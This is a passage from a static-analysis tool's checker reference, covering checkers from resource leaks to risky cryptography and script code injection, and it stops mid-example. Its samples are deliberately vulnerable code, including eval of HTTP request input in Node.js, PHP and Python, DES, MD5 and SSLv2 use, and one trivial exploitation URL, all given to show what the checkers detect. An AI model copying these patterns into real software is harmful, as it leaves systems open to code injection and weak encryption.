### 4.265.1. Overview

Dynamic Analysis reports a RESOURCE\_LEAK when it observes a potential leak in a resource like a socket or a `FileOutputStream`; that is, the resource is opened, but not explicitly closed.

File descriptor or socket leaks can lead to crashes, denial of service, and the inability to open more files or sockets. The operating system limits how many file descriptors and sockets a process can own. After the limit is reached, the process must close some of the resources' open handles before allocating more.

The garbage collector may close these resources and return file descriptors and sockets to the operating system eventually, that is, when and if they go out of scope and their storage is reclaimed. Until it does however, attempts to use more of these resources will fail.



#### Note

The RESOURCE\_LEAK checker does not find memory leaks.

### 4.265.2. Issue

The following table identifies the impact of issues found by this checker according to their type, category, and, if available, CWE (Common Weakness Enumeration) identifier. These properties correspond to checker information that appears in Coverity Connect. Note that the table might also identify checker subcategories that are associated with an issue type and checker category.

**Table 4.3. Issue Impact: RESOURCE\_LEAK**

Issue Type	Checker Category	Impact	Language	CWE
Resource leak	Resource leaks	High	Java	404

For more information about RESOURCE\_LEAK, see Chapter 2, .

### 4.265.3. Examples

Dynamic Analysis reports RESOURCE\_LEAK defects at the location in the code where the resource is opened. In the example below, Dynamic Analysis observes that the `FileOutputStream` is opened, but not closed and so reports this defect. The file handle (or file descriptor) associated with the `FileOutputStream` in this example remains open until leaked goes out of scope and the garbage collector gets around to reclaiming its storage.

```
/*
```

```
* RESOURCE_LEAK defect:
* File is opened for output and later not closed.
*/
static PrintStream leaked;
public static void simpleResourceLeak() {
 System.out.println("*** RESOURCE_LEAK example");
 File f = null;
 try {
 f = File.createTempFile("da-example", null);
/* Allocating resource of type "java.io.PrintStream". */
 leaked = new PrintStream(new FileOutputStream(f), true, "UTF-8");
 leaked.println("some stuff");
 /* The file did not close. A resource was leaked before it
 * went out of scope. */
 leaked = null;
 } catch (Throwable e) {
 System.err.println("Problem with RESOURCE_LEAK example: " + e);
 }
 quietlyDelete(f);
}
```

#### 4.265.4. Options

Options for RESOURCE\_LEAK checker are set as Dynamic Analysis agent options or Ant properties. See the *Coverity Command Reference* for option details.

- `RESOURCE_LEAK:detect-resource-leaks:<boolean>` - Option that makes the checker detect resource leaks. Default is `true`.
- `RESOURCE_LEAK:use-resource-models` - Option that provides the RESOURCE\_LEAK detector a file containing list of additional resource management methods. Specifying `OPEN` and `CLOSE` methods for a class tells the RESOURCE\_LEAK detector to report a RESOURCE\_LEAK when an instance of that class has an `OPEN` method called without a subsequent `CLOSE` method being called. The `jdkResourceList.txt` file in `<CIC_install_dir>/dynamic-analysis/dynamic-analysis.jar` contains many examples. No default for this option.

#### 4.265.5. Events

This checker's events include stack traces.

This section describes one or more events produced by the RESOURCE\_LEAK checker.

- `resource_allocation` - A resource is opened. See resource of type `java.io.PrintStream` opened in the preceding example.
- `resource_stored` - An open resource is stored into a field. For example, "Storing allocated resource of type `java.io.FileInputStream`" to a field."

### 4.266. RETURN\_LOCAL

Quality Checker

### 4.266.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

RETURN\_LOCAL finds many cases where the address of a local variable is returned from a function. The address is invalid as soon as the function returns, so the usual result is memory corruption and unpredictable behavior.

In C and C++, all local variables are lost upon function exit as a stack frame is removed and control is returned to the calling function. Variables that were allocated on the callee's stack are no longer relevant; their memory will be overwritten when a new function is called. Pointers to local stack variables returned to a calling function can cause memory corruption and inconsistent behavior. This checker finds instances where a function returns a pointer to a stack-allocated variable.

**Enabled by default:** RETURN\_LOCAL is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.266.2. Examples

This section provides one or more RETURN\_LOCAL examples.

```
some_struct * basic_return_local(struct some_struct *b) {
 struct some_struct a(*b); // a is copy-constructed onto the stack
 return &a; // Returns a pointer to local struct a
}
```

### 4.266.3. Options

This section describes one or more RETURN\_LOCAL options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `RETURN_LOCAL:report_fields_and_globals:<boolean>` - If this option is set to `true`, the checker will report a defect when the address of a local variable is out of scope due to being assigned to a field of a parameter or to a global variable. Defaults to `RETURN_LOCAL:report_fields_and_globals:false`.

### 4.266.4. Events

This section describes one or more events produced by the RETURN\_LOCAL checker.

- `local_ptr_assign_local` - A pointer was assigned the address of a local variable.
- `return_local_addr` - The address of a local variable was returned directly.
- `return_local_addr_alias` - A variable that was previously assigned a local variable's address was returned.

## 4.267. REVERSE\_NEGATIVE

Quality Checker

### 4.267.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`REVERSE_NEGATIVE` finds many cases where an integer is used as an array index, but then later checked to determine if it is negative. If the integer could be negative, the check takes place too late. If it could not be negative, the check is unnecessary.

During development, correctly bounds-checking an integer before a potentially dangerous use is often overlooked. Mishandling of negative integers can cause hard-to-find problems from memory corruption to security defects. This checker finds instances of dangerous integer use followed by a check against `NEGATIVE`. Two situations could cause this scenario:

- The programmer "knows" the integer cannot be negative, in which case the check is unnecessary and should be removed as it indicates to other programmers that the integer could be negative.
- The integer could actually be negative, and the check needs to occur before the dangerous use.

`REVERSE_NEGATIVE` can report false positives if it incorrectly determines that:

- An integer is compared against a negative value.
- A potentially negative integer is used in a dangerous way.

To suppress a false positive in the first case (or one that is not the result of a cross procedure interface) use code-line annotations. You can use a library function in the second case: see the `NEGATIVE_RETURNS` Models information.

**Enabled by default:** `REVERSE_NEGATIVE` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.267.2. Examples

This section provides one or more `REVERSE_NEGATIVE` examples.

```
void simple_reverse_neg(int some_signed_integer) {
 some_struct *x = kmalloc(some_signed_integer, GFP_KERNEL); // Dangerous integer
 use
 if (some_signed_integer < 0) // Check after use
 return error;
}
```

### 4.267.3. Events

This section describes one or more events produced by the `REVERSE_NEGATIVE` checker.

- `negative_sink_in_call` - An integer is used in a function call that, if it was negative, it would be a defect. The integer is then tracked for subsequent comparisons to negative values.
- `negative_sink` - An integer used in an operation would have a bad effect if it was negative. The integer is then tracked for subsequent comparisons to negative values.
- `check_after_sink` - A check against a negative value after it has been determined that the integer should never be negative. This event causes the checker to report a defect.

## 4.268. REVERSE\_INULL

Quality Checker

### 4.268.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, Python, Ruby, Scala, Swift, TypeScript, Visual Basic

`REVERSE_INULL` finds many instances of checks against null, Nothing, nil, or undefined values that occur after uses of the value that would have already failed if it were indeed null, Nothing, nil, or undefined. Such uses include dereferences in C/C++/C#/Java/Visual Basic, unwrapping in C#, Swift, or Visual Basic, or a member or property access in other languages. The checker name derives from the internally inconsistent code, where the check and use appear to be reversed.

**Enabled by default:** `REVERSE_INULL` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.268.1.1. C/C++, Go

The C/C++ checker finds many instances of null checks after dereferences.

Since dereferencing a null/nil pointer will cause a process to crash, checking against NULL/nil before dereferencing is very important. This checker finds instances where a pointer is dereferenced then subsequently checked against NULL/nil. The dereference can be safe if the programmer knows it could not be null/nil. If this is the case, then checking against NULL/nil is unnecessary and should be removed as it indicates that the pointer could be null/nil. As a second possibility, the pointer might be null/nil, and it can be fixed by moving the null/nil check before the dereference.

`REVERSE_INULL` can report false positives if it determines that a pointer is null/nil when that pointer can never be null/nil or it determines that a potentially null/nil pointer is dereferenced when, in fact, it is not. In the latter case, you can use the same library function suppression techniques as those for the `NULL_RETURNS` analysis. If the analysis incorrectly reports that a pointer is checked against NULL/nil or that there is a defect due to a non-feasible path, you can suppress the event with a code-line annotation [C/C++ only].

#### 4.268.1.2. C# and Visual Basic

The C# checker finds null checks after dereferences. Dereferencing a null reference variable causes the program to throw an exception, so checking against null before dereferencing is very important.

This checker finds many instances where the programmer dereferences a variable, and then checks the reference variable against null. The dereference can be safe if the programmer knows it could not be null. If this is the case, the check against null is unnecessary and should be removed because it indicates to other developers that the pointer could be null. As a second possibility, the pointer might be null, and it can be fixed by moving the null check before the dereference.

**Enabled by default:** `REVERSE_INULL` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.268.1.3. Java and Scala

The Java or Scala checker finds null checks after dereferences. Dereferencing a null reference variable causes the program to throw an exception, so checking against null before dereferencing is very important. This checker finds many instances where the programmer dereferences a variable and then checks the reference variable against null. The dereference can be safe if the programmer knows it could not be null. If this is the case, the check against null is unnecessary and should be removed as it indicates that the reference could be null. As a second possibility, the reference might be null, and it can be fixed by moving the null check before the dereference.

### 4.268.1.4. JavaScript, TypeScript

This JavaScript or TypeScript checker finds code that checks if a value is null or undefined after accessing a property on the value or after calling it as a function. Such code will throw a `TypeError` before reaching the check if the value is null or undefined. The unsafe-use-then-check pattern this checker reports indicates either that the check should be moved to protect the use or, if programmer knows that the variable cannot be null or undefined, that the check is a good candidate for removal because it is redundant and thus potentially confusing.

### 4.268.1.5. Python

The Python checker finds code that checks if a value is an explicit null value ( `None` , `NotImplemented` , or `Ellipsis` ) after using that value in an expression, or as the base of a function call or property reference. Such code will throw a `NameError` exception before reaching the check if the value is null-like. On the other hand, if the variable never contains a null-like value at its point of use, then the null check is unnecessary. The null check should either be moved ahead of the point of use or removed entirely.

### 4.268.1.6. Ruby

The Ruby checker finds code that checks if a value is a `nil`, `true`, or `false` value after using that value in an expression, or as the base of a method call or attribute reference. Either execution of that code will throw a `NoMethodError` exception at its point of use, or the null check is unnecessary. The null check should be moved ahead of the point of use or removed entirely.

### 4.268.1.7. Swift

```
handler!.handle(a)
handler?.handle(b) // REVERSE_INULL
```

The first statement asserts that `handler` is not `nil` and executes a call on it. The second statement checks `handler` for `nil` and skips the call if it is `nil`. This inconsistency about whether `handler` is potentially `nil` is reported as a defect.

## 4.268.2. Defect Anatomy

A `REVERSE_INULL` defect indicates a null check that occurs too late in the program flow to be effective. Usually, a null check executes special code (for example, printing an error message and then exiting) that circumvents undesirable effects that would result if the checked value happened to be `NULL`. In a `REVERSE_INULL` defect, the undesirable effects will already have taken place by the time the check is executed.

The checker works by tracking expressions that represent object references and noting whether those object references have been evaluated (that is, dereferenced). It then looks for null check conditions, such as `if (p == NULL) [C/C++]`. If the object reference has been evaluated on every path leading up to the null check, then a `REVERSE_INULL` defect is reported.

Under those conditions, the null check is moot: Either the undesirable effects will already have taken place, or the null check is never actually reached. The remedy is to move the null check ahead of all evaluations, or remove it entirely.

## 4.268.3. Examples

This section provides one or more `REVERSE_INULL` examples.

### 4.268.3.1. C/C++

In this example, by the time `request_buf` is checked against `NULL`, it has already been dereferenced on all paths, suggesting that it should have been checked against `NULL` earlier.

```
void basic_reverse_null(struct buf_t *request_buf) {
 *request_buf = some_function(); // Assignment dereference
 if (request_buf == NULL) // NULL check AFTER dereference
 return;
}
```

### 4.268.3.2. C#

In this example, by the time `o` is checked against `null`, it has already been dereferenced on all paths, suggesting that it should have been checked against `null` earlier.

```
public static void ReverseInNull(object o)
{
 Console.WriteLine("Argument: " + o.ToString());
 // REVERSE_INULL reported here
 if (o == null)
 {
 Console.WriteLine("Invalid argument: o is null");
 }
}
```

```
}
}
```

#### 4.268.3.3. Go

In the following example, the conditional statement returns a REVERSE\_INULL defect:

```
type Conf struct {
 host string
 port int
 setup bool
}

func reverseInull(c *Conf) {
 c.setup = false
 if c != nil {
 c.port = 80
 }
}
```

#### 4.268.3.4. Java

In this example, by the time `o` is checked against `null`, it has already been dereferenced on all paths by passing `o` as an argument to `callB`, suggesting that it should have been checked against `null` earlier.

```
public class ReverseInullExample {
 public static Object callA(Object o) {
 return "hi";
 }
 public static Object callB(Object o) {
 return o.toString();
 }

 public static String testA(Object o) {
 // callB dereferences o, making the later check a bug
 // if this were callA, no bug would be reported here.
 System.out.println(callB(o));
 if(o == null) {
 System.out.println("It's null");
 }
 return "done";
 }
}
```

#### 4.268.3.5. Scala

In this example, by the time `x` is checked against `null`, it has already been dereferenced on all paths, suggesting that it should have been checked against `null` earlier.

```
def ReverseInullExample(x : X) {
```

```
x.m
if (x eq null) {} // REVERSE_INULL reported here
}
```

#### 4.268.3.6. JavaScript

In this example, by the time `obj` is checked against `null`, it has already been dereferenced on all paths, suggesting that it should have been checked against `null` earlier.

```
function reverseINull(obj)
{
 console.log("Argument: " + obj.x);
 // REVERSE_INULL reported here
 if (obj == null)
 {
 console.log("Invalid argument: obj is null or undefined.");
 }
}
```

#### 4.268.3.7. Python

In this example, by the time `x` is checked against `None`, it has already been dereferenced on all paths, suggesting that it should have been checked against `None` earlier.

```
def deref_eq_null(x):
 x.m # A property of x is accessed here.
 if x == None: # Defect reported here: Null check after access.
 pass
```

#### 4.268.3.8. Ruby

In this example, by the time `x` is checked against `nil`, it has already been dereferenced on all paths, suggesting that it should have been checked against `nil` earlier.

```
def reverse_inull(x)
 x.foo() # Possible attempt to invoke 'foo' on nil.
 if x.nil? # Defect reported here. If x is nil, then the call
 # to foo() will already have generated an exception.
 fail "Invalid x"
 end
end
```

#### 4.268.3.9. Visual Basic

In this example, by the time `o` is checked against `Nothing`, it has already been dereferenced on all paths, suggesting that it should have been checked against `Nothing` earlier.

```
Imports System
Class ReverseINull
 Public Shared Sub Example(o As Object)
```

```
With o
 Console.WriteLine("Argument: " + .ToString())
End With
' o is checked for null after always being dereferenced.
If o Is Nothing Then
 Console.WriteLine("Invalid argument: o is null")
End If
End Sub
End Class
```

#### 4.268.4. Events

This section describes one or more events produced by the `REVERSE_INNULL` checker.

- `deref_ptr` - A pointer was dereferenced and will be tracked for subsequent comparisons against null. This is a C/C++ and Go-only event.
- `deref_ptr_in_call` - A pointer was dereferenced through a function call and will be tracked for subsequent comparisons against null/nil . This is a C/C++ and Go-only event.
- `check_after_deref` - A pointer or reference is checked against null or undefined, but all paths that lead to this check include a use of the pointer or reference that would fail at runtime if it were null or undefined. This event also indicates that the pointer or reference was not reassigned between the use and the check.

### 4.269. REVERSE\_TABNABBING

Security Checker

#### 4.269.1. Overview

**Supported Languages:** JavaScript, Ruby, TypeScript

`REVERSE_TABNABBING` finds cases where a link is dynamically generated and is set to open a new window by virtue of its `target` attribute being set to `_blank` . Third-party sites opened from such links are able to redirect the original window or tab to an arbitrary URL without user interaction. When returning to the original window or tab, a user might be tricked into disclosing sensitive information through a phishing attack.

This defect manifests when an anchor tag is dynamically generated with its `target` attribute set to `_blank` . Pages opened from such a link have access to the `location` object of the original page through `window.opener.location` . A malicious page linked in this way can navigate the original page to an arbitrary site and perform a phishing attack.

To remediate this defect, set the `rel` attribute to `noopener` and thereby disallow the linked page access to the original page through the `window.opener` object.

**Disabled by default:** `REVERSE_TABNABBING` is disabled by default for JavaScript and TypeScript. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Web application security checker enablement:** To enable `REVERSE_TABNABBING` along with other Web application checkers, use the `--webapp-security` option.

`REVERSE_TABNABBING` is enabled by default for Ruby.

## 4.269.2. Examples

This section provides one or more `REVERSE_TABNABBING` examples.

### 4.269.2.1. JavaScript and TypeScript

In the following React code, a `REVERSE_TABNABBING` defect is displayed for the anchor tag inside the JSX template.

```
export default class MyButton extends Component {
 render() {
 return (
 <div>
 {}
 Vulnerable link

 </div>
)
 }
}
```

### 4.269.2.2. Ruby

In the following Ruby on Rails code, a link is created to a user-controlled URL that opens in a new window. A `REVERSE_TABNABBING` defect will be reported for this code because the link does not specify a `rel` attribute with a `noopener` value.

```
<%= link_to("Home Page", @user.site_url, target: "_blank") %>
```

## 4.270. RISKY\_CRYPTO

Security Checker

### 4.270.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Kotlin, Objective-C, Objective-C++, Python, Swift, TypeScript, Visual Basic

`RISKY_CRYPTO` finds uses of cryptographic algorithms that are vulnerable to cryptographic attacks or otherwise risky. Examples include uses of an old algorithm that is weak by current standards and poor usage of a particular algorithm.

RISKY\_CRYPTO policy">The default policy of the RISKY\_CRYPTO includes the following rules:

- The DES algorithm should not be used. It is outdated, and an attacker with modern hardware can break DES encryption in a matter of days. This is equivalent to the following checker option: `forbid:DES|PBEMD5DDES/*/*/*`
- The 3DES algorithm should not be used. It is vulnerable to attacks such as Sweet32. This is equivalent to the following checker option: `forbid:DESEDE|DESEDEWRAP/*/*/*`
- The RSA algorithm should not be used without random padding. The lack of random padding might allow an attacker to break this encryption, for example, with Coppersmith's Attack. This is equivalent to the following checker option: `forbid:RSA/*/*NOPD/*`
- ECB block mode should not be used. If two blocks of plaintext are the same and are encrypted with the same key, then the ciphertexts for both blocks will also be the same. This leaks information about the underlying data. This is equivalent to the following checker option: `forbid:*/ECB/*/*`
- Weak and collision-prone hashing algorithms should not be used. Insecure hashing might also permit length extension attacks, whereby an attacker can generate a valid hash for messages that have the original message as a prefix. This is equivalent to the following checker option: `forbid:SHA0|SHA1|MD2|MD4|MD5|RIPEMD/*/*/*`
- The RC4 algorithm should not be used. Its initial output contains measurable biases, which might allow an attacker with sufficient hardware to break this encryption. This is equivalent to the following checker option: `forbid:RC4/*/*/*`
- A key size shorter than 128 bits should not be used for symmetric cipher algorithms. A key size shorter than 2048 bits should not be used for asymmetric cipher algorithms. Using a short key might allow encryption to be broken with sufficient hardware.
- Establishing an SSL connection that allows the SSLv3/TLS1.2 (and earlier) protocols is insecure. An attacker might be able to decrypt and extract sensitive data that is transmitted over the network. (Java, Kotlin, and .NET only).

**Disabled by default:** RISKY\_CRYPTO is disabled by default for C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, Python, Swift, TypeScript, Visual Basic. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Enabled by default:** RISKY\_CRYPTO is enabled by default for Go and Kotlin.

**Web application security checker enablement:** To enable RISKY\_CRYPTO along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable RISKY\_CRYPTO along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

## 4.270.2. Examples

This section provides one or more `RISKY_CRYPTO` examples.

#### 4.270.2.1. C/C++

The following example calls the Windows Cryptography API function `CryptDeriveKey` to generate a key using the Data Encryption Standard (DES), an algorithm that offers little protection because it can be cracked easily by a desktop machine.

```
CryptDeriveKey(hCryptProv, CALG_DES, hHash, 0, &hKey);
```

#### 4.270.2.2. C#

The following example uses the old DES algorithm, which offers little protection because it can be cracked easily by a desktop machine.

```
DES des = DES.Create();
```

The following example creates a key for the strong AES algorithm but uses a weak keysize of 96 bits. The checker reports a defect on the weak keysize.

```
Aes aes = Aes.Create();
aes.KeySize = 96;
```

#### 4.270.2.3. Go

The following example uses the old DES algorithm, which offers little protection because it can be cracked easily. A defect is shown for the call to `block.Encrypt`.

```
package main

import "crypto/des"

func usesWeakEncryption(key, data, dst []byte) []byte {
 block, _ := des.NewCipher(key)
 block.Encrypt(dst, data) // Defect here
 return dst
}
```

The following example uses the MD5 hashing function, which is considered cryptographically broken as it is not collision resistant. A defect is returned for the `return` statement of the `usesWeakHash` data function.

```
package main

import "crypto/md5"

func usesWeakHash(data []byte) [md5.Size]byte {
 return md5.Sum(data) // Defect here
}
```

#### 4.270.2.4. Java

The following example uses the old DES algorithm, which offers little protection because it can be cracked easily by a desktop machine.

```
Cipher desCipher = Cipher.getInstance("DES");
```

The following example creates a key for the strong AES algorithm but uses a weak keysize of 112 bits. The checker reports a defect on the weak keysize.

```
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
keyGenerator.init(112);
```

#### 4.270.2.5. JavaScript

The following example calls the Node.js crypto module to create a Cipher instance using the DES algorithm.

```
var crypto = require('crypto');
var cipher = crypto.createCipher('DES', password);
```

In addition, the `RISKY_CRYPTO` checker finds cases in JavaScript/TypeScript where the established SSL connection allows the SSLv3 (and earlier) protocols. An attacker might be able to decrypt and extract sensitive data that is transmitted over the network. It also finds cases when insecure ciphers that have been deprecated due to attacks or theoretical weaknesses are not disabled.

In the following example, a `RISKY_CRYPTO` defect is displayed for the `secureProtocol` attribute set to `SSLv2_method` in the configuration of the parameter `options` in the function `require("https").createServer()`:

```
const https = require("https");
const express = require("express");
const app = express();

const options = {
 secureProtocol: "SSLv2_method" // #defect#RISKY_CRYPTO##ssl_protocol
};

app.use((req, res) => {
 res.writeHead(200);
 res.end("hello world\n");
});

app.listen(8000);

https.createServer(options, app).listen(8080);
```

#### 4.270.2.6. Kotlin

The following example uses the old DES algorithm, which offers little protection because it can be cracked easily by a desktop machine.

```
val desCipher = Cipher.getInstance("DES")
```

The following example creates a key for the strong AES algorithm but uses a weak `keysize` of 112 bits. The checker reports a defect on the weak key size.

```
val keyGenerator = KeyGenerator.getInstance("AES") keyGenerator.init(112)
```

#### 4.270.2.7. Python

The following example uses the `hashlib` module to return the digest of a message using the DES algorithm. A defect will be reported on the call `hashlib.new('des')`.

```
import hashlib

def get_hexdigest(message):
 h = hashlib.new('des')
 h.update(message)
 return h.hexdigest()
```

#### 4.270.2.8. Swift

This example hashes the secret with a weak MD5 hash algorithm using a call to `CC_MD5_Final`.

```
func sampleHash() {
 let pass = "MySecret!"
 let context = UnsafeMutablePointer<CC_MD5_CTX>.allocate(capacity: 1)
 var digest = Array<UInt8>(repeating: 0, count: Int(CC_MD5_DIGEST_LENGTH))
 CC_MD5_Init(context)
 CC_MD5_Update(context, pass, CC_LONG(pass.lengthOfBytes(using:
 String.Encoding.utf8)))
 CC_MD5_Final(&digest, context)
 context.deallocate()
 var hexString = ""
 for byte in digest {
 hexString += String(format:@"%02x", byte)
 }
 print("Hex of pass (hexString)")
}
```

#### 4.270.2.9. Visual Basic

The following example uses the old DES algorithm, which offers little protection because it can be cracked easily.

```
Dim des As DES = DES.Create()
```

The following example creates a key for the strong AES algorithm but uses a weak `keysize` of 96 bits. The checker reports a defect for the weak `keysize`.

```
Dim aes As Aes = Aes.Create()
aes.KeySize = 96
```

### 4.270.3. Options

This section describes one or more `RISKY_CRYPTO` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `RISKY_CRYPTO:allow:<transformation>` - [Deprecated] This option is deprecated as of version 7.7.0 and will be removed from a future release.
- `RISKY_CRYPTO:assume_fips_mode:<boolean>` - When set to true, this option treats the cryptographic provider as FIPS 140 compliant. Because this mode prevents the use of SSL versions 2.0 and 3.0, either explicitly or by default, this option will suppress related defects. Defaults to `RISKY_CRYPTO:assume_fips_mode:false`. This option yields no effect for JavaScript and Go.
- `RISKY_CRYPTO:forbid_ciphersuite:<cipher suite>` - This option adds the given cipher suite to the set of TLS cipher suites deemed insecure. The checker will report a defect if it finds usages of the specified cipher suite. Go to IANA for the official list of cipher suites. Whether a given cipher suite is supported in your actual code (i.e., by the JVM) is going to depend on what version of the JVM is being used in your execution environment. This option is Java and Kotlin only.
- `RISKY_CRYPTO:forbid:<transformation>` - This option adds the given transformation to the set of cryptographic transformations deemed "risky". The checker will report a defect if it finds the specified transformation. Default is unset.

You can specify this option multiple times to perform an `OR` operation on each transformation.

For a description of the option value, see Transformation format below.

See also, Default [p. 582].

- `RISKY_CRYPTO:minimum_tls:<version>` This option changes the minimal version of SSL/TLS considered safe. Use of prior versions of SSL/TLS will be flagged as reporting defects. Default is unset. Acceptable values are "SSLv2", "SSLv3", "TLSv1", "TLSv1.1", "TLSv1.2", "TLSv1.3". This option yields no effect for Go.
- `RISKY_CRYPTO:require_asymmetric:<transformation>` - This option requires all asymmetric algorithms to match the given transformation. It overrides all other options for asymmetric algorithms. If the checker finds an asymmetric transformation that does not match this option, it will report a defect. Default is unset.

You can specify this option multiple times to perform an `OR` operation on each transformation.

For a description of the option value, see Transformation format below.

See also, Default [p. 582].

- `RISKY_CRYPTO:require_hash:<transformation>` - This option requires all hashing algorithms to match the given transformation. It overrides all other options for hashing algorithms. If the checker finds a hashing transformation that does not match this option, it will report a defect. Default is unset.

You can specify this option multiple times to perform an OR operation on each transformation.

For a description of the option value, see Transformation format below.

See also, Default [p. 582].

- `RISKY_CRYPTO:require_symmetric:<transformation>` - This option requires all symmetric algorithms to match the given transformation. It overrides all other options for symmetric algorithms. If the checker finds a symmetric transformation that does not match the value to this option, it will report a defect. Default is unset.

You can specify this option multiple times to perform an OR operation on each transformation.

Transformation format

The `<transformation>` value is a tuple written in the format `<Algorithm>/<Block Mode>/<Padding>/<Minimum Key Size>`. For each of `<Algorithm>`, `<Block Mode>`, and `<Padding>`, the values specified are strings that describe the algorithm. The `<Minimum Key Size>` takes a positive value in bits. A `*` (asterisk) indicates that the transformation can match any value for that field. A transformation example is `AES/CBC/*/128`. Additionally, it is possible to use the symbol `|` to denote an OR operation for any field; for example: `AES|Blowfish/CBC/*/128`

See also, Default [p. 582].

- `RISKY_CRYPTO:usage_report:<file>` this option generates a CSV file containing information about crypto usage in the program. Information is displayed in the following format:

```
<file>,<line>,<algorithm>,<key_size>,<block_mode>,<padding>,<SSL_protocols>,<cipher_suites>
```

#### 4.270.4. Defect Anatomy

`RISKY_CRYPTO` reports a defect on evidence of usage of a risky cryptographic algorithm. It reports not just on calls to a function that use the algorithm directly, but also on, for example, creation of an object to support MD5 hashing, creation of a socket using an insecure version of SSL/TLS, or creation of an object or stream to support DES encryption, decryption, or key generation. Supporting events show details on the creation of such objects including setting of algorithm parameters.

### 4.271. RUBY\_VULNERABLE\_LIBRARY

Security Checker

#### 4.271.1. Overview

**Supported Languages:** Ruby

The `RUBY_VULNERABLE_LIBRARY` checker reports a defect if your application uses a library that might be affected by one of the Ruby-on-Rails related vulnerabilities listed in the "Defect Anatomy" section.

**Enabled by default:** `RUBY_VULNERABLE_LIBRARY` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.271.2. Defect Anatomy

`RUBY_VULNERABLE_LIBRARY` defects will be reported if an application uses a library that might be affected by one of the following Ruby-on-Rails related vulnerabilities

**Table 4.4. CVEs**

<b>CVE</b>	<b>CVE</b>	<b>CVE</b>	<b>CVE</b>
CVE-2010-3933	CVE-2012-5664	CVE-2013-6416	CVE-2015-7577
CVE-2011-2929	CVE-2013-0155	CVE-2013-6417	CVE-2015-7578
CVE-2011-2930	CVE-2013-0156	CVE-2014-0080	CVE-2015-7579
CVE-2011-2931	CVE-2013-0269	CVE-2014-0081	CVE-2015-7580
CVE-2011-2932	CVE-2013-0277	CVE-2014-0082	CVE-2015-7581
CVE-2011-3186	CVE-2013-0333	CVE-2014-3482	CVE-2016-0751
CVE-2012-2660	CVE-2013-1854	CVE-2014-3483	CVE-2016-6317
CVE-2012-2661	CVE-2013-1855	CVE-2014-3514	CVE-2018-3741
CVE-2012-2695	CVE-2013-1856	CVE-2014-7829	CVE-2018-3760
CVE-2012-3424	CVE-2013-1857	CVE-2015-3226	CVE-2018-8048
CVE-2012-3463	CVE-2013-4491	CVE-2015-3227	
CVE-2012-3645	CVE-2013-6414	CVE-2015-7576	

### 4.271.3. Examples

This section provides one or more `RUBY_VULNERABLE_LIBRARY` examples.

### 4.271.4. Events

This section describes one or more events produced by the `RUBY_VULNERABLE_LIBRARY` checker.

## 4.272. SCRIPT\_CODE\_INJECTION

Security Checker

### 4.272.1. Overview

**Supported Languages:** C#, Java, JavaScript, PHP, Python, Ruby, Swift, TypeScript, Visual Basic

`SCRIPT_CODE_INJECTION` finds script code injection vulnerabilities, which occur when uncontrolled dynamic data is used to construct script code on the server. Examples of script code languages include JavaScript, Python, and Ruby.

**Disabled by default:** `SCRIPT_CODE_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

For Ruby and Swift, `SCRIPT_CODE_INJECTION` is enabled by default.

**Web application security checker enablement:** To enable `SCRIPT_CODE_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.272.2. Defect Anatomy

A `SCRIPT_CODE_INJECTION` defect shows a dataflow path by which an untrusted (tainted) source is used to construct an executable script. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string executed in some way.

### 4.272.3. Examples

This section provides one or more `SCRIPT_CODE_INJECTION` examples.

#### 4.272.3.1. C#

Here, a user-controllable HTTP request parameter is concatenated into a short piece of Python code and passed to a Microsoft DLR script engine (for example, IronPython). This defect allows the user to execute arbitrary Python code.

```
using System.Web;
using Microsoft.Scripting.Hosting;

public class ScriptCodeInjection
{
 void Test(HttpRequest Request) {
 // Read a HTTP request parameter.
 // This is untrusted / tainted data.
 string UserId = Request["userid"];

 UserId = EscapeUserId(UserId);
 }

 ScriptEngine MyPythonEngine;

 // Call python code to remove spaces from the user ID.
 private string EscapeUserId(string UserId)
 {
 return MyPythonEngine.Execute<string>(/* Defect here */ @"
```

```
import re
re.sub(' ', '_', "+ UserId +")
);
}
}
```

#### 4.272.3.2. Java

The following example uses Jython (a Java interface to Python) to execute Python that is constructed out of an HTTP request parameter. This defect allows the user to execute arbitrary Python code.

```
String foo = req.getParameter("foo");

ScriptEngine scriptEngine
= new ScriptEngineManager().getEngineByName("python");
if (scriptEngine != null) {
 scriptEngine.eval("import os"
+ "os.listdir('%s/%s') % ('foo', '" + foo + "')");
}
```

#### 4.272.3.3. JavaScript

The following code example shows a vulnerable Node.js Web application that is using the Express framework.

```
var express = require('express');
var app = express();

app.get('/1', function (req, res) { //Defect here.
 eval(req.query.n || 'a=1');
 res.sendStatus(a);
});

app.listen(3000);
```

Exploitation example:

```
http://127.0.0.1:3000/1?n=a=10
```

Here, an attacker can cause arbitrary JavaScript code execution by setting the code they want to execute to the `n` query parameter.

#### 4.272.3.4. PHP

The following code example shows a vulnerability in a simple PHP script.

```
<?php
// inject.php

$source = $_GET['taint'];
eval($source);
```

```
?>
```

#### 4.272.3.5. Python

The following example passes tainted data from a HTTP request to the Python interpreter.

```
from django.conf.urls import url

def django_view(request):
 eval(request.body);

urlpatterns = [
